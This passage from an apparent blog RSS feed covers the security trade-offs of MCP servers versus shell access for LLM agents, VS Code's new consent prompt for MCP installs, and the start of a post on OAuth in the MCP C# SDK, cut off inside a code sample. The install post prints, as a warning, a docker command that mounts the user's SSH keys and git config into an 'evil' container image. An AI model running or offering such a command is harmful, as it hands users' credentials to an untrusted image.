      src="https://assets.den.dev/images/postmedia/a-shell-is-all-you-need/joey.webp"
    
  />
  </a>
  <figcaption class="text-center">This kind of functionality would make even the most security-savvy professionals think twice.</figcaption>
</figure>
<p>This is where remote MCP servers bring a bit of a shield - you are protected from the worst side-effects of a potentially malicious <em>local</em> server because a remote MCP server can&rsquo;t quite invoke a <code>rm -rf</code> on your local development box without something going catastrophically wrong. Yes, <a
  href="https://en.wikipedia.org/wiki/Prompt_injection"
  
  target="_blank" rel="noreferrer noopener"
>prompt injections</a> are a thing, I know.</p>
<p>On the other hand, a CLI or a local MCP server can do a bunch of funky stuff - exfiltrate local data, delete things, reconfigure your machine, install more things you didn&rsquo;t ask for, and the list goes on. Yes, even a local MCP server can do that. Remember when I said it&rsquo;s just a local application? Yeah.</p>
<p>But realistically, so can any running application that you installed on your machine. Assuming that the developer of the local MCP server is not obviously malicious, if the server can only read database entries - that&rsquo;s all it can do with your database. No matter how the LLM contorts its prompts, it won&rsquo;t be able to do more than what the MCP server tools allow it to do. CLIs obliterate that constraint - you <em>may</em> be able to instruct the LLM to <em>not</em> delete the database, but if it somehow &ldquo;decides&rdquo; that the easiest way to fix your build error is by wiping the disk clean from your source code and start from scratch, it can absolutely do that.</p>
<p>Unfettered access to the shell can spell doom very, <em>very</em> quickly - the security aspects of this approach would give me nightmares on the best of days, let alone in the threat landscape we live now where a page your LLM queries can tell it to do a bunch of things you didn&rsquo;t ask for. All of this means that a developer now needs to think through all sorts of ways in which they must <em>restrict</em> the execution of shell commands to avoid potential disaster.</p>
<p>You could integrate things like <a
  href="https://github.com/containers/bubblewrap"
  
  target="_blank" rel="noreferrer noopener"
><code>bubblewrap</code></a>, work on network rules to prevent processes from doing data egress, and even <a
  href="https://code.visualstudio.com/docs/copilot/chat/chat-agent-mode#_centrally-manage-agent-mode"
  
  target="_blank" rel="noreferrer noopener"
>add in-client constraints</a>, but a lot of that comes at the cost of ergonomics. YOLO-ing through this won&rsquo;t work in the long run.</p>
<h2 id="where-mcp-shines" class="relative group">Where MCP Shines <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#where-mcp-shines" aria-label="Anchor">#</a></span></h2>
<p>This is where I think MCP has the opportunity to really establish itself as a differentiator - not by wrapping CLIs or APIs, but rather by helping create a <em>more controlled environment</em> for agents to operate in.</p>
<p>The more you immerse yourself in this space, the easier it is to recognize that the real risk comes from agents not having guardrails and doing their own thing as they see fit. This is a core feature of modern LLMs but also (and I can&rsquo;t understate this) a major liability.</p>
<p>MCP servers bring a set of pre-baked primitives to the table that can be safely used by clients without having to worry that you will wake up with your disk wiped. To be clear - <a
  href="https://den.dev/blog/security-rakes-mcp/"
  
  target="_blank" rel="noreferrer noopener"
>there&rsquo;s still risk</a> depending on the kind of MCP server that you&rsquo;re using, but it&rsquo;s a much more managed risk than letting your LLM do <em>anything</em>.</p>
<p>MCP also provides a convenient abstraction layer over things that you really don&rsquo;t want to reinvent. Let&rsquo;s say that in the example above I wanted to upload my data to some remote cloud database. Often those come with CLIs, but sometimes the CLI is only allowing me to <em>manage resources</em> instead of allowing me to <em>manage the content within the resource</em>. In this scenario, a CLI can help me create the database or scale it, but will not help me with actually adding entries in.</p>
<p>Could I invoke the authentication APIs with <code>curl</code>, and then craft the exact JSON body for the request, and invoke <code>curl</code> once more with a <code>POST</code> request to submit the data, and then check the response and retry if needed? Sure. But this would be way more complicated than me just adding a MCP server from said database vendor to my client and have it handle authorization and the invocation of the <code>create_entry</code> tools.</p>
<p>A MCP server can also, by design, be compatible with any MCP-ready client. There are some platform considerations to keep in mind, of course - you might need to have <code>python</code> or <code>npx</code> available. But <em>in general</em>, and especially as it applies to remote MCP servers, you won&rsquo;t have trouble plugging them in across the board. Anthropic is also <a
  href="https://github.com/modelcontextprotocol/mcpb"
  
  target="_blank" rel="noreferrer noopener"
>working</a> on making this better for local servers. The same can&rsquo;t be said for <em>every single CLI out there you might need</em>. I have <code>jq</code> on Linux, but on Windows outside WSL? I need to bring it in separately. On macOS I can bring in a bunch of stuff with <code>brew</code>, but on Windows this will be useless as <code>winget</code> has a different set of packages available. My shell adventures would not always be <em>portable</em>, while with MCP I get that out-of-the-box.</p>
<p>You should treat MCP as a great convenience layer that removes the burden of implementing tool abstractions over and over, but it also should not be used when there are <em>really good CLIs</em> available for the same scenarios. The pattern here is <em>not</em> to re-implement or wrap CLIs or APIs 1:1 in MCP servers. It&rsquo;s to use them as <em>complementary</em> tools in your AI toolbox. You have a hammer and a screwdriver - you don&rsquo;t need to use one or the other for everything.</p>
<h2 id="so-where-does-that-leave-us" class="relative group">So Where Does That Leave Us <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#so-where-does-that-leave-us" aria-label="Anchor">#</a></span></h2>
<p>MCP servers are not meant to replace CLIs. CLIs are not meant to be a universal substitute for MCP servers. They serve quite different purposes depending on what you are trying to accomplish, and you shouldn&rsquo;t try to shoehorn one as a universal solution instead of the other. And of course, because MCP as a protocol is still maturing, I would encourage you to <a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol"
  
  target="_blank" rel="noreferrer noopener"
>go to GitHub</a> and help us make it better!</p>
]]></content:encoded></item><item><title>Visual Studio Code And The MCP Installation Prompt</title><link>https://den.dev/blog/vs-code-mcp-install-consent/</link><pubDate>Sun, 20 Jul 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/vs-code-mcp-install-consent/</guid><description>The latest version of Visual Studio Code Insiders now shows a prompt before you bring in a third-party MCP server. Neat! No more one-click command execution.</description><content:encoded><![CDATA[<p>If you&rsquo;ve been following the development of the Model Context Protocol (MCP), along with <a
  href="/blog/security-rakes-mcp"
  
  
>my post on old security rakes in new MCP yards</a>, you&rsquo;ll appreciate this latest security enhancement in <a
  href="https://code.visualstudio.com/"
  
  target="_blank" rel="noreferrer noopener"
>Visual Studio Code</a>.</p>
<p>I was recently chatting with <a
  href="https://www.linkedin.com/in/digitarald"
  
  target="_blank" rel="noreferrer noopener"
>Harald Kirschner</a> and <a
  href="https://github.com/pierceboggan"
  
  target="_blank" rel="noreferrer noopener"
>Pierce Boggan</a> about the fact that when you use the one-click install button on existing MCP servers (both remote and local), one of the pieces of the experience that stood out to me was that there was no ahead-of-time in-your-face user context before the MCP server was inserted into the editor configuration.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/vs-code-mcp-install-consent/old-vscode-insall.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Adding a new MCP server in old versions of Visual Studio Code."
    
    
    
      src="https://assets.den.dev/images/postmedia/vs-code-mcp-install-consent/old-vscode-insall.webp"
    
  />
  </a>
  <figcaption class="text-center">Adding a new MCP server in old versions of Visual Studio Code.</figcaption>
</figure>
<p>Once you clicked <strong>Install Server</strong>, the MCP server will be automatically added. For remote MCP servers that&rsquo;s not a big deal, but for local MCP servers that require execution with <code>npx</code> or <code>docker</code> (or any other command, for that reason), the command would be instantly triggered. This can be dangerous if you accidentally clicked on some malicious MCP configuration link - running scripts from strangers is scary as-is. You know, this kind of stuff:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker run --rm -v <span class="si">${</span><span class="nv">HOME</span><span class="si">}</span>/.ssh:/root/.ssh -v <span class="si">${</span><span class="nv">HOME</span><span class="si">}</span>/.gitconfig:/root/.gitconfig evil/mcp-server-image <span class="o">&amp;&amp;</span> <span class="nb">echo</span> <span class="s2">&#34;Server installed!&#34;</span>
</span></span></code></pre></div><p>With the latest updates, though, instead of blindly installing MCP servers and triggering the execution command, Visual Studio Code now presents a clear consent dialog that shows exactly what you&rsquo;re about to run.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/vs-code-mcp-install-consent/vscode-insiders-prompt-install.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Visual Studio Code showing an installation prompt before adding a MCP server."
    
    
    
      src="https://assets.den.dev/images/postmedia/vs-code-mcp-install-consent/vscode-insiders-prompt-install.gif"
    
  />
  </a>
  <figcaption class="text-center">Visual Studio Code showing an installation prompt before adding a MCP server.</figcaption>
</figure>
<p>This is neat! It&rsquo;s a <em>great</em> step to prevent auto-inserted malicious commands. This doesn&rsquo;t prevent execution if the user clicks <strong>Install</strong>, but at least you get the transparency of what the command is <em>before</em> it&rsquo;s run within the context Visual Studio Code runs in.</p>
<div class="flex px-4 py-3 rounded-md alert-red-bg dark:alert-red-bg-dark">
  <span class="alert-red-text ltr:pr-3 rtl:pl-3">
    

  <span class="relative inline-block align-text-bottom icon" aria-hidden="true">
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M506.3 417l-213.3-364c-16.33-28-57.54-28-73.98 0l-213.2 364C-10.59 444.9 9.849 480 42.74 480h426.6C502.1 480 522.6 445 506.3 417zM232 168c0-13.25 10.75-24 24-24S280 154.8 280 168v128c0 13.25-10.75 24-23.1 24S232 309.3 232 296V168zM256 416c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 401.9 273.4 416 256 416z"/></svg>

  </span>


  </span>
  <span class="dark:alert-red-text-dark">While the prompt will provide you context on <em>what</em> is being added, you still need to make sure to verify that the command you&rsquo;re about to run <em>is</em> actually what you&rsquo;re expecting to see. <strong>If you are not certain that the command is not malicious - do not run it</strong>.</span>
</div>
<h2 id="the-problem-with-instant-silent-installations" class="relative group">The problem with instant silent installations <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#the-problem-with-instant-silent-installations" aria-label="Anchor">#</a></span></h2>
<p>The guardrail that is now implemented in Visual Studio Code is actually an absolute must for <em>any</em> MCP client that integrates with MCP servers via one-click. That&rsquo;s more than a bit risky because:</p>
<ul>
<li>There is no visibility into what server was being installed</li>
<li>There&rsquo;s no chance to review the server&rsquo;s source or purpose (you&rsquo;re given a command)</li>
<li>Malicious MCP server authors can embed convoluted commands to pretend they are legit</li>
<li>Users are too comfortable with just running commands because they&rsquo;re labeled as &ldquo;MCP servers&rdquo;</li>
</ul>
<div class="flex flex-row items-center px-4 py-2 mb-8 text-base rounded-md bg-primary-100 dark:bg-primary-900">
    <div style="width: 25%;">
      <img src="https://assets.den.dev/images/shared/scared.gif" alt="Mole is scared of MCP server implications" />
    </div>
    <div style="padding: 8px; max-width: 75%;">
      <p>So, wait - all of this means that, in theory, I could bring <em>any</em> script or binary through MCP clients that support one-click integration flows?</p>
    </div>
  </div>  
<p>Yes! And that&rsquo;s why it&rsquo;s so important that MCP clients do a pre-emptive consent validation - there&rsquo;s a million ways to conceal a command, but users need to <em>at least</em> be able to see the command before it&rsquo;s run <em>under all circumstances</em>.</p>
<h2 id="whats-next-for-mcp-security" class="relative group">What&rsquo;s next for MCP security <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#whats-next-for-mcp-security" aria-label="Anchor">#</a></span></h2>
<p>The consent dialog in Visual Studio Code is a fantastic and necessary first step. It directly tackles the immediate risk of silent command execution and empowers developers to pause and think before installing a local MCP server.</p>
<p>However, this is just the beginning of the journey to make the broader MCP development ecosystem secure by default. The problem isn&rsquo;t unique to Visual Studio Code; any MCP client that offers a streamlined installation experience needs to consider the same threat model. This single prompt is a crucial guardrail, but we can build an even safer road.</p>
<p>As MCP adoption continues to grow, the community will need to rally around more robust security primitives. The initial consent is vital, but we can look forward to a future with even more sophisticated protections, such as:</p>
<ul>
<li><strong>Digital signing for MCP servers.</strong> A way to verify the author of a server and ensure the code hasn&rsquo;t been tampered with. We&rsquo;ve had code signing on Windows since the 90s. It&rsquo;s called <a
  href="https://learn.microsoft.com/windows-hardware/drivers/install/authenticode"
  
  target="_blank" rel="noreferrer noopener"
>Authenticode</a>. And what have we learned? Users click through the warnings anyway, even for unsigned code. That being said, it could help stop <em>a</em> potential class of issues stemming from arbitrary code being sideloaded on customer machines.</li>
<li><strong>Sandboxed execution environments.</strong> Running local servers in an isolated context with limited permissions, preventing them from accessing sensitive files or system resources. This is a bit trickier to do at scale just because of the <em>massive</em> variability in operating system sandboxing constructs (let alone outside desktops). Honestly, this is going to be the biggest win here.</li>
<li><strong>Granular, permission-based access controls.</strong> Instead of an all-or-nothing installation, users could grant specific permissions to a server (e.g., &ldquo;allow access to <code>/src/projectA</code> but nothing else&rdquo;). A good UI here will be <em>absolutely critical</em> because people will once again click through all permissions.</li>
<li><strong>Community-driven reputation systems.</strong> A marketplace or registry where developers can rate and review MCP servers, flagging malicious or poorly-behaving ones. There are broad efforts around the <a
  href="https://github.com/modelcontextprotocol/registry"
  
  target="_blank" rel="noreferrer noopener"
>MCP registry</a> - embedding security-related metadata might be a valuable next domain to explore.</li>
</ul>
<p>For a lot of these changes that we&rsquo;ll need to pursue there are often hard-won lessons from the past few decades that we can draw inspiration from. There&rsquo;s a lot of work ahead.</p>
<p>That being said, the change above, and to caveat this - in my own eyes - is a perfect example of striking the right balance between usability and security in the face of a somewhat free-for-all distribution landscape. It introduces a small amount of friction to prevent a potentially huge amount of harm. It&rsquo;s a model that other MCP client builders should follow.</p>
]]></content:encoded></item><item><title>OAuth In The MCP C# SDK: Simple, Secure, Standard</title><link>https://den.dev/blog/mcp-csharp-sdk-authorization/</link><pubDate>Mon, 07 Jul 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/mcp-csharp-sdk-authorization/</guid><description>The official MCP C# SDK now supports OAuth 2.0 authentication and RFC 9728 Protected Resource Metadata, making secure AI integrations simpler for .NET developers.</description><content:encoded><![CDATA[<p>Authorization: the part of your project that&rsquo;s always more complicated than you expect, and never quite as interesting as the thing you actually want to build. If you&rsquo;ve ever tried to wire up OAuth for an app on <em>any</em> platform, I am <em>truly</em> sorry - endless configuration, permissions, registrations, multiple endpoints that are just ever-so-slightly-different between providers for whatever reason, mysterious errors, and a creeping sense that you&rsquo;re just one copy-paste away from a security hole.</p>
<p>Things did get better in the past few years with quite a few options to help developers worry less about the auth-related plumbing, with all sorts of <a
  href="https://den.dev/blog/msal-python-new-features/"
  
  target="_blank" rel="noreferrer noopener"
>higher-level libraries</a> and auth proxies that take on the burden of tackling the toil. And now if you&rsquo;re looking to build either Model Context Protocol (MCP) clients <em>or</em> servers with the <a
  href="https://github.com/modelcontextprotocol/csharp-sdk"
  
  target="_blank" rel="noreferrer noopener"
>MCP C# SDK</a> - you get OAuth 2.1 authorization support built-in. Because it&rsquo;s the official SDK, it, naturally, follows the <a
  href="https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization"
  
  target="_blank" rel="noreferrer noopener"
>official specification</a> (you might&rsquo;ve heard about it <a
  href="https://den.dev/blog/model-context-protocol-oauth-rfc/"
  
  target="_blank" rel="noreferrer noopener"
>on this very blog</a>).</p>
<p>No more rolling your own spec implementation from scratch. No more cargo-culting code from ancient blog posts. Your MCP servers (and clients, yes) can be secure by default in just a few lines of C# code.</p>
<a
  class="inline-block !rounded-md bg-primary-600 px-4 py-1 !text-neutral !no-underline hover:!bg-primary-500 dark:bg-primary-800 dark:hover:!bg-primary-700" href="https://github.com/modelcontextprotocol/csharp-sdk" target="_self"
  role="button"
>


  <span class="relative inline-block align-text-bottom icon">
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><path fill="currentColor" d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"/></svg>

  </span>

 Check out the code
</a>


<h2 id="what-this-means-for-developers" class="relative group">What this means for developers <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#what-this-means-for-developers" aria-label="Anchor">#</a></span></h2>
<p>One of the goals of the new SDK change is to not overcomplicate things: this is standard OAuth 2.1, minus the boilerplate that you&rsquo;d have to write if you didn&rsquo;t have the authorization support built-in. The real win is that you don&rsquo;t have to wrestle with token endpoints, their structure, figuring out what&rsquo;s a <code>GET</code> and what&rsquo;s a <code>POST</code>, scope configurations, and all this <em>super fun stuff</em>. The SDK handles the gritty details so you can spend your time building features you actually care about, not auth glue.</p>
<p>Because the new MCP authorization specification snapped to support <a
  href="https://datatracker.ietf.org/doc/rfc9728/"
  
  target="_blank" rel="noreferrer noopener"
>RFC 9728: OAuth 2.0 Protected Resource Metadata</a>, so does the SDK. I don&rsquo;t expect you to go start reading RFCs, because in 99.99% of cases you don&rsquo;t need to know everything there, but the gist is that your MCP servers can now hand out a business card to connecting MCP clients that says, “<em>Here&rsquo;s the authorization server and method I am using.</em>”</p>
<p>The MCP server would host a JSON blob like this to tell the client about its authorization configuration:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;resource&#34;</span><span class="p">:</span> <span class="s2">&#34;https://api.example.com/v1/&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;authorization_servers&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;https://auth.example.com&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;scopes_supported&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;read:data&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;write:data&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;token_endpoint_auth_methods_supported&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;client_secret_basic&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;client_secret_post&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>This metadata, colloquially referred to as the &ldquo;PRM document&rdquo; (from &ldquo;Protected Resource Metadata&rdquo;) lives at a well-known endpoint (<code>.well-known/oauth-protected-resource</code>), so clients can just look it up and know what to do. Once the client gets the PRM document, they can initiate the authorization server discovery, followed by the token acquisition dance. Still quite a few steps to handle manually.</p>
<p>The MCP C# SDK wraps the discovery logic along with some goodies that make the entire OAuth authorization code flow much, <em>much</em> easier to integrate for someone that wants an idiomatic, familiar way of plugging in authorization into their C# code.</p>
<h2 id="getting-started-with-authorization-in-the-mcp-c-sdk" class="relative group">Getting started with authorization in the MCP C# SDK <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#getting-started-with-authorization-in-the-mcp-c-sdk" aria-label="Anchor">#</a></span></h2>
<p>To get started, install the pre-release version of the package:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">dotnet add package ModelContextProtocol --prerelease
</span></span></code></pre></div><h3 id="building-a-mcp-client-that-speaks-oauth" class="relative group">Building a MCP client that speaks OAuth <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#building-a-mcp-client-that-speaks-oauth" aria-label="Anchor">#</a></span></h3>
<p>For a client, the OAuth-related configuration is attached to the transport configuration, <a
  href="https://github.com/modelcontextprotocol/csharp-sdk/blob/main/samples/ProtectedMCPClient/Program.cs"
  
  target="_blank" rel="noreferrer noopener"
>like this</a>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csharp" data-lang="csharp"><span class="line"><span class="cl"><span class="kt">var</span> <span class="n">transport</span> <span class="p">=</span> <span class="k">new</span> <span class="n">SseClientTransport</span><span class="p">(</span><span class="k">new</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">Endpoint</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Uri</span><span class="p">(</span><span class="n">serverUrl</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="n">Name</span> <span class="p">=</span> <span class="s">&#34;Secure Weather Client&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">OAuth</span> <span class="p">=</span> <span class="k">new</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">ClientName</span> <span class="p">=</span> <span class="s">&#34;ProtectedMcpClient&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">RedirectUri</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Uri</span><span class="p">(</span><span class="s">&#34;http://localhost:1179/callback&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="n">AuthorizationRedirectDelegate</span> <span class="p">=</span> <span class="n">HandleAuthorizationUrlAsync</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="n">httpClient</span><span class="p">,</span> <span class="n">consoleLoggerFactory</span><span class="p">);</span>
</span></span></code></pre></div><p>In the context of the snippet above, <code>OAuth</code> is an instance of <a
  href="https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.Core/Authentication/ClientOAuthOptions.cs#L6"
  
  target="_blank" rel="noreferrer noopener"
><code>ClientOAuthOptions</code></a>, that is used to set up the client. Under the hood, those are used with a <a
  href="https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.Core/Authentication/ClientOAuthProvider.cs"
  
  target="_blank" rel="noreferrer noopener"
><code>ClientOAuthProvider</code></a>. But that&rsquo;s it - that&rsquo;s as complicated as it is to get the client to use OAuth.</p>
<div class="flex flex-row items-center px-4 py-2 mb-8 text-base rounded-md bg-primary-100 dark:bg-primary-900">
    <div style="width: 25%;">
      <img src="https://assets.den.dev/images/shared/idea.gif" alt="Mole has an idea." />
    </div>
    <div style="padding: 8px; max-width: 75%;">
      <p>Oh, that&rsquo;s because the client itself is Authorization Server unaware! It doesn&rsquo;t really need to do a lot of configuration because a lot of that comes from the PRM document, followed by standard discovery steps?</p>
    </div>
  </div>  
<p>Exactly! The client responsibilities can be neatly swept under the rug when it comes to the developer experience we&rsquo;re providing <em>because</em> the steps are standard across authorization servers. The client developer needs to provide just basic OAuth client metadata.</p>
<h3 id="building-protected-mcp-servers" class="relative group">Building protected MCP servers <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#building-protected-mcp-servers" aria-label="Anchor">#</a></span></h3>
<p>Server-side, things get <em>a bit more wordy</em>, but not by much. Here is what a protected MCP server configuration <a
  href="https://github.com/modelcontextprotocol/csharp-sdk/blob/main/samples/ProtectedMCPServer/Program.cs"
  
  target="_blank" rel="noreferrer noopener"
>may look like</a>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csharp" data-lang="csharp"><span class="line"><span class="cl"><span class="kt">var</span> <span class="n">builder</span> <span class="p">=</span> <span class="n">WebApplication</span><span class="p">.</span><span class="n">CreateBuilder</span><span class="p">(</span><span class="n">args</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">var</span> <span class="n">serverUrl</span> <span class="p">=</span> <span class="s">&#34;http://localhost:7071/&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">var</span> <span class="n">inMemoryOAuthServerUrl</span> <span class="p">=</span> <span class="s">&#34;https://localhost:7029&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">builder</span><span class="p">.</span><span class="n">Services</span><span class="p">.</span><span class="n">AddAuthentication</span><span class="p">(</span><span class="n">options</span> <span class="p">=&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">options</span><span class="p">.</span><span class="n">DefaultChallengeScheme</span> <span class="p">=</span> <span class="n">McpAuthenticationDefaults</span><span class="p">.</span><span class="n">AuthenticationScheme</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">options</span><span class="p">.</span><span class="n">DefaultAuthenticateScheme</span> <span class="p">=</span> <span class="n">JwtBearerDefaults</span><span class="p">.</span><span class="n">AuthenticationScheme</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="n">AddJwtBearer</span><span class="p">(</span><span class="n">options</span> <span class="p">=&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// Configure to validate tokens from our in-memory OAuth server</span>
</span></span><span class="line"><span class="cl">    <span class="n">options</span><span class="p">.</span><span class="n">Authority</span> <span class="p">=</span> <span class="n">inMemoryOAuthServerUrl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">options</span><span class="p">.</span><span class="n">TokenValidationParameters</span> <span class="p">=</span> <span class="k">new</span> <span class="n">TokenValidationParameters</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">ValidateIssuer</span> <span class="p">=</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">ValidateAudience</span> <span class="p">=</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">ValidateLifetime</span> <span class="p">=</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">ValidateIssuerSigningKey</span> <span class="p">=</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">ValidAudience</span> <span class="p">=</span> <span class="n">serverUrl</span><span class="p">,</span> <span class="c1">// Validate that the audience matches the resource metadata as suggested in RFC 8707</span>
</span></span><span class="line"><span class="cl">        <span class="n">ValidIssuer</span> <span class="p">=</span> <span class="n">inMemoryOAuthServerUrl</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">NameClaimType</span> <span class="p">=</span> <span class="s">&#34;name&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">RoleClaimType</span> <span class="p">=</span> <span class="s">&#34;roles&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
